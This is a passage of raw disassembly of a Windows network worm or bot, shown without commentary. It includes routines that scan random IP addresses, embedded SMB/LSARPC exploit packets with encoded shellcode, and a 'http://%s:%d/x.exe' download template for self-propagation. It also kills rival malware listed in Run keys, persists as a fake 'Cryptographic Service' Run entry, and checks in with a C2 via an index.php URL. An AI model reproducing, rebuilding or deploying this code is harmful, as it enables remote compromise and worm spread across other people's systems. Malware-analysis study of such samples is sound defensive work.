esi ; dword_314310FC mov ecx, dword_3143504C xor edx, edx div ecx add edx, ecx push edx call dword_3143109C ; Sleep inc edi cmp edi, 8000h jl short loc_314327A7 loc_31432808: ; CODE XREF: sub_3143278A+24j ; sub_3143278A+2Dj pop edi xor eax, eax pop esi loc_3143280C: ; CODE XREF: sub_3143278A+Cj pop ebp retn 4 sub_3143278A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432810 proc near ; DATA XREF: UPX0:314329E2o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx call sub_314320B6 call sub_31432559 test eax, eax jnz loc_314328C9 push ebx mov ebx, dword_3143109C push esi mov esi, dword_314310FC push edi loc_31432836: ; CODE XREF: sub_31432810+48j ; sub_31432810+B0j call esi ; dword_314310FC mov byte ptr [ebp+var_4+1], al call esi ; dword_314310FC mov byte ptr [ebp+var_4+3], al call esi ; dword_314310FC mov byte ptr [ebp+var_4+2], al loc_31432845: ; CODE XREF: sub_31432810+3Cj call esi ; dword_314310FC cmp al, 7Fh mov byte ptr [ebp+var_4], al jz short loc_31432845 call sub_314321B4 mov edi, [ebp+var_4] cmp edi, eax jz short loc_31432836 call sub_314321F3 test eax, eax jz short loc_314328A1 push offset dword_31435044 call dword_314310D8 ; InterlockedIncrement push edi call sub_314319BC test eax, eax pop ecx jnz short loc_314328A8 push edi push offset sub_31432728 call sub_3143210D pop ecx mov [ebp+var_8], 4 pop ecx loc_3143288D: ; CODE XREF: sub_31432810+8Dj push edi push offset sub_3143278A call sub_3143210D dec [ebp+var_8] pop ecx pop ecx jnz short loc_3143288D jmp short loc_314328A8 ; --------------------------------------------------------------------------- loc_314328A1: ; CODE XREF: sub_31432810+51j push 2710h call ebx ; dword_3143109C loc_314328A8: ; CODE XREF: sub_31432810+67j ; sub_31432810+8Fj call esi ; dword_314310FC mov ecx, dword_3143504C xor edx, edx div ecx add edx, ecx push edx call ebx ; dword_3143109C call sub_31432559 test eax, eax jz loc_31432836 pop edi pop esi pop ebx loc_314328C9: ; CODE XREF: sub_31432810+11j push 0 call dword_314310D4 ; ExitThread xor eax, eax leave retn 4 sub_31432810 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314328D7 proc near ; CODE XREF: UPX0:314329A7p ; UPX0:loc_31432A0Dp var_50 = byte ptr -50h var_28 = byte ptr -28h push ebp mov ebp, esp sub esp, 50h push esi call sub_314321B4 push eax call dword_31431160 ; inet_ntoa mov esi, dword_31431068 push eax lea eax, [ebp+var_28] push eax call esi ; dword_31431068 push dword_3143503C lea eax, [ebp+var_28] push eax lea eax, [ebp+var_50] push offset aHttpSDX_exe ; "http://%s:%d/x.exe" push eax call dword_31431120 ; wsprintfA add esp, 10h lea eax, [ebp+var_50] push eax push offset word_314342E2 call esi ; dword_31431068 push offset byte_314342E0 call dword_31431088 ; lstrlenA mov byte_314342E0[eax], 0DFh pop esi leave retn sub_314328D7 endp ; --------------------------------------------------------------------------- loc_31432933: ; DATA XREF: sub_3143256D+174o push ecx push ecx push ebx push ebp push esi xor ebx, ebx push edi mov dword_31435044, ebx call sub_314321F3 mov esi, dword_3143109C mov edi, 1388h test eax, eax jnz short loc_31432961 loc_31432955: ; CODE XREF: UPX0:3143295Fj push edi call esi ; dword_3143109C call sub_314321F3 test eax, eax jz short loc_31432955 loc_31432961: ; CODE XREF: UPX0:31432953j lea eax, [esp+14h] push ebx push eax call dword_31431134 ; InternetGetConnectedState test byte ptr [esp+14h], 2 push 50h mov dword_31435048, ebx pop ebp mov dword_3143504C, 96h jz short loc_314329A0 mov dword_31435048, 1 mov ebp, 15Eh mov dword_3143504C, 14h loc_314329A0: ; CODE XREF: UPX0:31432985j call sub_314321B4 mov ebx, eax call sub_314328D7 cmp ebx, 100007Fh jz short loc_314329C1 push ebx push offset sub_31432728 call sub_3143210D pop ecx pop ecx loc_314329C1: ; CODE XREF: UPX0:314329B2j mov dword ptr [esp+10h], 4 loc_314329C9: ; CODE XREF: UPX0:314329DAj push ebx push offset sub_3143278A call sub_3143210D dec dword ptr [esp+18h] pop ecx pop ecx jnz short loc_314329C9 test ebp, ebp jle short loc_314329F1 loc_314329E0: ; CODE XREF: UPX0:314329EFj push 0 push offset sub_31432810 call sub_3143210D pop ecx dec ebp pop ecx jnz short loc_314329E0 loc_314329F1: ; CODE XREF: UPX0:314329DEj ; UPX0:314329FDj ... call sub_314321F3 test eax, eax jz short loc_314329FF push edi call esi ; dword_3143109C jmp short loc_314329F1 ; --------------------------------------------------------------------------- loc_314329FF: ; CODE XREF: UPX0:314329F8j ; UPX0:31432A0Bj call sub_314321F3 test eax, eax jnz short loc_31432A0D push edi call esi ; dword_3143109C jmp short loc_314329FF ; --------------------------------------------------------------------------- loc_31432A0D: ; CODE XREF: UPX0:31432A06j call sub_314328D7 jmp short loc_314329F1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432A14 proc near ; CODE XREF: sub_31432BAD+93p ; sub_31432D2E+11Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_3143100C ; RegOpenKeyExA test eax, eax jnz short loc_31432A47 push [ebp+arg_8] push [ebp+arg_4] call dword_31431010 ; RegDeleteValueA push [ebp+arg_4] call dword_31431014 ; RegCloseKey loc_31432A47: ; CODE XREF: sub_31432A14+1Cj pop ebp retn sub_31432A14 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432A49 proc near ; CODE XREF: sub_3143141F+28Ep ; sub_3143237F+33p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_10] push esi mov [ebp+var_4], eax lea eax, [ebp+arg_10] push eax xor esi, esi push 0F003Fh push esi push [ebp+arg_4] push [ebp+arg_0] call dword_3143100C ; RegOpenKeyExA test eax, eax jz short loc_31432A75 push 1 pop eax jmp short loc_31432A9F ; --------------------------------------------------------------------------- loc_31432A75: ; CODE XREF: sub_31432A49+25j lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push [ebp+arg_C] push eax push esi push [ebp+arg_8] push [ebp+arg_10] call dword_31431008 ; RegQueryValueExA test eax, eax jz short loc_31432A94 push 2 pop esi loc_31432A94: ; CODE XREF: sub_31432A49+46j push [ebp+arg_10] call dword_31431014 ; RegCloseKey mov eax, esi loc_31432A9F: ; CODE XREF: sub_31432A49+2Aj pop esi leave retn sub_31432A49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432AA2 proc near ; CODE XREF: sub_3143141F+306p ; sub_31432C62+96p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi xor esi, esi lea eax, [ebp+arg_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push [ebp+arg_4] push [ebp+arg_0] call dword_31431000 ; RegCreateKeyExA test eax, eax jz short loc_31432ACB push 1 pop eax jmp short loc_31432AF2 ; --------------------------------------------------------------------------- loc_31432ACB: ; CODE XREF: sub_31432AA2+22j push [ebp+arg_10] push [ebp+arg_C] push 1 push esi push [ebp+arg_8] push [ebp+arg_4] call dword_31431004 ; RegSetValueExA test eax, eax jz short loc_31432AE7 push 2 pop esi loc_31432AE7: ; CODE XREF: sub_31432AA2+40j push [ebp+arg_4] call dword_31431014 ; RegCloseKey mov eax, esi loc_31432AF2: ; CODE XREF: sub_31432AA2+27j pop esi pop ebp retn sub_31432AA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432AF5 proc near ; CODE XREF: sub_31432BAD+9Fp var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx mov ebx, [ebp+arg_0] push esi push ebx call dword_31431088 ; lstrlenA mov esi, eax dec esi test esi, esi jle loc_31432BA9 loc_31432B15: ; CODE XREF: sub_31432AF5+27j cmp byte ptr [esi+ebx], 5Ch jz short loc_31432B1E dec esi jns short loc_31432B15 loc_31432B1E: ; CODE XREF: sub_31432AF5+24j push 0 push 2 call sub_31432EFC ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_31432BA9 push 128h lea eax, [ebp+var_128] push 0 push eax call sub_31432EA6 ; memset add esp, 0Ch lea eax, [ebp+var_128] mov [ebp+var_128], 128h push eax push [ebp+arg_0] call sub_31432EF6 ; Process32First test eax, eax jz short loc_31432BA9 lea esi, [esi+ebx+1] loc_31432B66: ; CODE XREF: sub_31432AF5+B2j lea eax, [ebp+var_104] push eax push esi call dword_31431104 ; strstr pop ecx test eax, eax pop ecx jz short loc_31432B96 push [ebp+var_120] push 0 push 1F0FFFh call dword_314310B4 ; OpenProcess push 0 push eax call dword_31431060 ; TerminateProcess loc_31432B96: ; CODE XREF: sub_31432AF5+83j lea eax, [ebp+var_128] push eax push [ebp+arg_0] call sub_31432EF0 ; Process32Next test eax, eax jnz short loc_31432B66 loc_31432BA9: ; CODE XREF: sub_31432AF5+1Aj ; sub_31432AF5+38j ... pop esi pop ebx leave retn sub_31432AF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432BAD proc near ; CODE XREF: UPX0:31432536p var_13C = byte ptr -13Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push ebx push esi lea eax, [ebp+var_34] push edi mov [ebp+var_34], offset aWindowsSecurit ; "Windows Security Manager" mov [ebp+var_30], offset aDiskDefragment ; "Disk Defragmenter" mov [ebp+var_2C], offset aSystemRestoreS ; "System Restore Service" mov [ebp+var_28], offset aBotLoader ; "Bot Loader" mov [ebp+var_24], offset aSystray ; "SysTray" mov [ebp+var_20], offset aWinupdate ; "WinUpdate" mov [ebp+var_1C], offset aWindowsUpdateS ; "Windows Update Service" mov [ebp+var_18], offset aAvserve_exe ; "avserve.exe" mov [ebp+var_14], offset aAvserve2_exeup ; "avserve2.exeUpdate Service" mov [ebp+var_10], offset aMsConfigV13 ; "MS Config v13" mov [ebp+var_C], offset aWindowsUpdate ; "Windows Update" mov [ebp+var_4], eax mov [ebp+var_8], 0Bh mov edi, offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov esi, 80000002h loc_31432C1D: ; CODE XREF: sub_31432BAD+AEj mov eax, [ebp+var_4] push 104h mov ebx, [eax] lea eax, [ebp+var_13C] push eax push ebx push edi push esi call sub_31432A49 add esp, 14h test eax, eax jnz short loc_31432C54 push ebx push edi push esi call sub_31432A14 lea eax, [ebp+var_13C] push eax call sub_31432AF5 add esp, 10h loc_31432C54: ; CODE XREF: sub_31432BAD+8Ej add [ebp+var_4], 4 dec [ebp+var_8] jnz short loc_31432C1D pop edi pop esi pop ebx leave retn sub_31432BAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432C62 proc near ; CODE XREF: sub_31432D2E+D1p ; sub_31432D2E+132p var_78 = byte ptr -78h var_14 = byte ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 78h cmp [ebp+arg_0], 0 jz short loc_31432C77 push [ebp+arg_0] call dword_31431074 ; DeleteFileA loc_31432C77: ; CODE XREF: sub_31432C62+Aj lea eax, [ebp+var_78] push 63h push eax call dword_31431090 ; GetSystemDirectoryA test eax, eax jz locret_31432D2C push esi call dword_314310FC ; rand and eax, 3 add eax, 5 push eax lea eax, [ebp+var_14] push eax call sub_3143212E mov esi, dword_3143108C pop ecx pop ecx lea eax, [ebp+var_14] push offset dword_314341F0 push eax call esi ; dword_3143108C lea eax, [ebp+var_78] push offset dword_314341F8 push eax call esi ; dword_3143108C lea eax, [ebp+var_14] push eax lea eax, [ebp+var_78] push eax call esi ; dword_3143108C lea eax, [ebp+var_78] push 0 push eax push [ebp+arg_4] call dword_31431050 ; CopyFileA lea eax, [ebp+var_78] push eax call dword_31431088 ; lstrlenA inc eax push eax lea eax, [ebp+var_78] push eax push offset aCryptographicS ; "Cryptographic Service" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_31432AA2 add esp, 14h push dword_31435034 call dword_31431080 ; CloseHandle lea eax, [ebp+var_78] push 0 push eax call dword_31431054 ; WinExec push 1F4h call dword_3143109C ; Sleep push 0 call dword_314310E4 ; ExitProcess pop esi locret_31432D2C: ; CODE XREF: sub_31432C62+23j leave retn sub_31432C62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31432D2E proc near ; CODE XREF: UPX0:3143253Bp var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi lea eax, [ebp+var_84] push 63h push eax push 0 call dword_31431048 ; GetModuleFileNameA test eax, eax jz loc_31432E67 and dword_31435050, 0 lea eax, [ebp+var_20] push 1Dh push eax mov edi, offset aSoftwareMicr_1 ; "Software\\Microsoft\\Wireless" push offset aId ; "ID" mov esi, 80000002h push edi push esi call sub_31432A49 add esp, 14h test eax, eax jz short loc_31432DB4 call dword_314310FC ; rand push 0Ah mov ebx, offset aFgnsdrjyrsert ; "fgnsdrjyrsert" cdq pop ecx idiv ecx add edx, ecx push edx push ebx call sub_3143212E pop ecx pop ecx push ebx call dword_31431088 ; lstrlenA inc eax push eax push ebx push offset aId ; "ID" push edi push esi call sub_31432AA2 add esp, 14h jmp short loc_31432DC3 ; --------------------------------------------------------------------------- loc_31432DB4: ; CODE XREF: sub_31432D2E+4Dj lea eax, [ebp+var_20] push eax push offset aFgnsdrjyrsert ; "fgnsdrjyrsert" call dword_31431068 ; lstrcpyA loc_31432DC3: ; CODE XREF: sub_31432D2E+84j lea eax, [ebp+var_E8] push 63h push eax push offset aCryptographicS ; "Cryptographic Service" push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi call sub_31432A49 add esp, 14h test eax, eax jz short loc_31432E09 push 2 push offset a1 ; "1" push offset aClient ; "Client" push edi push esi call sub_31432AA2 lea eax, [ebp+var_84] push eax push 0 call sub_31432C62 add esp, 1Ch jmp short loc_31432E67 ; --------------------------------------------------------------------------- loc_31432E09: ; CODE XREF: sub_31432D2E+B3j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call dword_3143104C ; lstrcmpiA test eax, eax jnz short loc_31432E52 lea eax, [ebp+var_20] push 1Dh mov ebx, offset aClient ; "Client" push eax push ebx push edi push esi call sub_31432A49 add esp, 14h test eax, eax jnz short loc_31432E67 push ebx push edi push esi mov dword_31435050, 1 call sub_31432A14 add esp, 0Ch jmp short loc_31432E67 ; --------------------------------------------------------------------------- loc_31432E52: ; CODE XREF: sub_31432D2E+F1j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call sub_31432C62 pop ecx pop ecx loc_31432E67: ; CODE XREF: sub_31432D2E+1Fj ; sub_31432D2E+D9j ... pop edi pop esi pop ebx leave retn sub_31432D2E endp ; =============== S U B R O U T I N E ======================================= sub_31432E6C proc near ; CODE XREF: sub_314311A0+CAp ; sub_31431782+11p ... arg_0 = dword ptr 4 push 4 push 1000h push [esp+8+arg_0] push 0 call dword_31431044 ; VirtualAlloc retn sub_31432E6C endp ; =============== S U B R O U T I N E ======================================= sub_31432E80 proc near ; CODE XREF: sub_314311A0+10Bp ; sub_31431782+C0p arg_0 = dword ptr 4 push 8000h push 0 push [esp+8+arg_0] call dword_31431040 ; VirtualFree retn sub_31432E80 endp ; --------------------------------------------------------------------------- align 10h loc_31432EA0: ; DATA XREF: sub_3143141F+Ao ; sub_3143256D+Ao jmp dword ptr loc_31431100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EA6 proc near ; CODE XREF: sub_314319BC+128p ; sub_314319BC+134p ... jmp dword_314310F8 sub_31432EA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EAC proc near ; CODE XREF: sub_314319BC+9Cp ; sub_314319BC+C5p ... jmp dword_314310F4 sub_31432EAC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EB2 proc near ; CODE XREF: sub_314319BC+93p ; sub_314319BC+B2p ... jmp dword_314310F0 sub_31432EB2 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_31432EC0 proc near ; CODE XREF: sub_314319BC+8p arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_31432EE0 loc_31432ECC: ; CODE XREF: sub_31432EC0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_31432ECC loc_31432EE0: ; CODE XREF: sub_31432EC0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_31432EC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EF0 proc near ; CODE XREF: sub_31432AF5+ABp jmp dword_31431064 sub_31432EF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EF6 proc near ; CODE XREF: sub_31432AF5+64p jmp dword_3143105C sub_31432EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31432EFC proc near ; CODE XREF: sub_31432AF5+2Dp jmp dword_31431058 sub_31432EFC endp ; --------------------------------------------------------------------------- db 2 dup(0CCh) dd 43Fh dup(0) dword_31434000 dd 206h, 2400h, 31415352h, 180h, 10001h, 11838DF5h, 2AEC5279h ; DATA XREF: sub_3143141F+11Do ; sub_3143141F+20Fo dd 0E7F63AE4h, 0E0EA9B49h, 0DB21AFBEh, 1A95447Eh, 0A032615Eh dd 9F6A1F85h, 3994FF94h, 8F26A684h, 5C1DCE35h, 0B20BC9A5h dd 3072657Ah, 0 aMozilla4_0Co_0 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_31431782+84o align 10h byte_31434080 db 0 ; DATA XREF: sub_3143185D+1Br off_31434081 dd offset dword_314341E4 ; DATA XREF: sub_3143185D+23r align 2 dd offset dword_314341D4 dw 0C401h dd 1314341h, 314341B4h, 4341A000h, 41900131h, 80013143h dd 314341h, 31434174h, 43416800h, 41580131h, 48003143h dd 1314341h, 3143413Ch, 43417400h, 41D40131h, 30003143h dd 314341h, 314341D4h, 43412001h, 41480031h, 10013143h dd 314341h, 31434130h, 43410001h, 40F80131h, 74003143h dd 314341h, 31434130h, 2E767663h, 7572h, 2E777777h, 6C646572h dd 2E656E69h, 7572h, 656C6966h, 72616573h, 722E6863h, 75h dd 6F626F72h, 61686378h, 2E65676Eh, 6D6F63h, 68746566h dd 2E647261h, 7A6962h, 63657361h, 2E616B68h, 7572h, 7473616Dh dd 782D7265h, 6D6F632Eh, 0 dd 6F6C6F63h, 61622D72h, 722E6B6Eh, 75h, 6B76616Bh, 742E7A61h dd 76h, 74757263h, 6E2E706Fh, 75h, 6F64696Bh, 61622D73h dd 722E6B6Eh, 75h, 65726170h, 61622D78h, 722E6B6Eh, 75h dd 6C756461h, 6D652D74h, 65726970h, 6D6F632Eh, 0 dd 666E6F6Bh, 616B7369h, 726F2E74h, 67h, 69746963h, 6E61622Dh dd 75722E6Bh, 0 dword_314341D4 dd 72617778h, 6A632E65h, 656E2E62h, 74hdword_314341E4 dd 617A616Dh, 616B6166h, 75722Ehdword_314341F0 dd 6578652Eh, 0 ; sub_31432239+55o ... dword_314341F8 dd 5Ch ; sub_31432C62+56o aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_314311A0+13o align 10h aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_31431313+1Co align 4 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_31431313+Co align 4 aD db '%d',0 ; DATA XREF: sub_3143141F+2CCo align 4 dword_3143426C dd 444952h aSoftwareMicros db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_3143141F+259o aZer1 db 'zer1',0 ; DATA XREF: sub_3143141F:loc_314315B7o align 4 aZer0 db 'zer0',0 ; DATA XREF: sub_3143141F+34o align 4 aHttpS db 'http://%s',0 ; DATA XREF: sub_31431782+71o align 4 aHttpSIndex_php db 'http://%s/index.php?id=%s&scn=%d&inf=%d&ver=20&cnt=%s',0 ; DATA XREF: sub_31431782+57o align 10h byte_314342E0 db 0EBh ; DATA XREF: sub_314319BC+24Eo ; sub_314319BC+260o ... db 58h word_314342E2 dw 7468h ; DATA XREF: sub_314328D7+40o dd 2F3A7074h, 3732312Fh, 302E302Eh, 383A312Eh, 652F3030h dd 6578652Eh, 4 dup(0DFDFDFDFh), 7A6F4DDFh, 616C6C69h dd 302E342Fh, 0C9335DDFh, 1EEB966h, 8B05758Dh, 3C068AFEh dd 46057599h, 302C068Ah, 88993446h, 0EDE24707h, 0DAE80AEBh dd 2EFFFFFFh, 2E676562h, 0C9999371h, 0C999C999h, 91BDFD12h dd 0C99916FDh, 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 9998A91Ch dd 0C9C999C9h, 98F198F3h, 9986C999h, 98C071C9h, 0C999C999h dd 37CB5F90h, 1C965992h, 99C99978h, 14C999C9h, 7D7157E4h dd 0C999C999h, 0E414C999h, 9945713Ah, 99C999C9h, 0F19DF3C9h dd 9989C999h, 0F1C999C9h, 0C999C999h, 0F3C9999Ch, 0B371C999h dd 99C99998h, 0E3F367C9h, 0DC1C10F0h, 99C99998h, 0C959B2C9h dd 0C99BF3C9h, 0C999F1C9h, 0C999C999h, 0A10414D9h, 99C99998h dd 9E71CAC9h, 99C99998h, 61688DC9h, 0AD1C1091h, 99C99998h dd 66611AC9h, 99111D96h, 99C999C9h, 0C850B2C9h, 98F3C8C8h dd 0C957DC14h, 0C9992571h, 0C999C999h, 91C0A44Eh, 59924912h dd 59B2F7EDh, 0C9C9C9C9h, 0CA3AC414h, 993B71CBh, 99C999C9h dd 0E424FFC9h, 0ED599221h, 0F1CDCDCFh, 0C999C999h, 66C9999Ch dd 9998DC2Ch, 0C9C999C9h, 0C9991E71h, 0C999C999h, 83B8B0FBh dd 5D12CDC3h, 0C9C999F3h, 0DC2C66CBh, 99C99998h, 0AD2C66C9h dd 99C99998h, 990B71C9h, 99C999C9h, 0A6485AC9h, 2C66C096h dd 0C99998ADh, 1B71C999h, 0C999C999h, 294CC999h, 9CF3EBA7h dd 98A10414h, 0C999C999h, 99E971CAh, 99C999C9h, 26F434C9h dd 0C999F371h, 0C999FC71h, 0C999C999h, 0EF133BF9h, 376B4629h dd 9966DE5Fh, 0A8EC5AC9h, 99C999A0h, 99C999C9h, 0B7C999C9h dd 0E9EDFFC5h, 0B7FDE9ECh, 99FCE1FCh, 6 dup(99C999C9h) dd 0FCF5CAC9h, 0C999E9FCh, 0F7EBFCF2h, 0ABAAF5FCh, 34C7C999h dd 0B459AAF9h, 662A2A25h, 9093ACC9h, 9CC9B781h, 83639D90h dd 9271CDC9h, 0C999C999h, 19BFC999h, 0FD145135h, 720A95BDh dd 0F934C791h, 0C999C871h, 0C999C999h, 12A5D212h, 9AE180D5h dd 146FAA52h, 0C89A2A8Dh, 9A8B12B9h, 5859AA4Ah, 9BAB9E59h dd 99A319DBh, 0A26CECC9h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h dd 9ABDC812h, 8D2E964Ah, 85D812EBh, 9D125A9Ah, 105A9A09h dd 0F885BDDDh, 98D01C10h, 0C999C999h, 7F664966h, 8712FEFDh dd 12C999A9h, 0C21295C2h, 12821285h, 0B75A91C2h, 0B7FDF7FCh dd 0 dword_314345A8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_314319BC+186o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_31434634 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+1BAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_314346E0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+1EEo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_314347C0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+8Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_314319BC+BFo unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_31434824 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+2D4o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_31434890 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+308o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_31434934 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+4EEo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dword_314349B4 dd 401495h, 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_31434A48 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+347o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_31434AB4 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_314319BC+372o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_31434B28 dd 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 3 dup(0) dd 586E6957h, 72502050h, 6Fh, 9 dup(0) db 2 dup(0) dword_31434BE6 dd 1004600h dw 1 dd 69570000h, 206B326Eh, 6F7250h, 0Ah dup(0) dword_31434C20 dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Ah dup(0) ; DATA XREF: sub_314319BC+41Bo ; 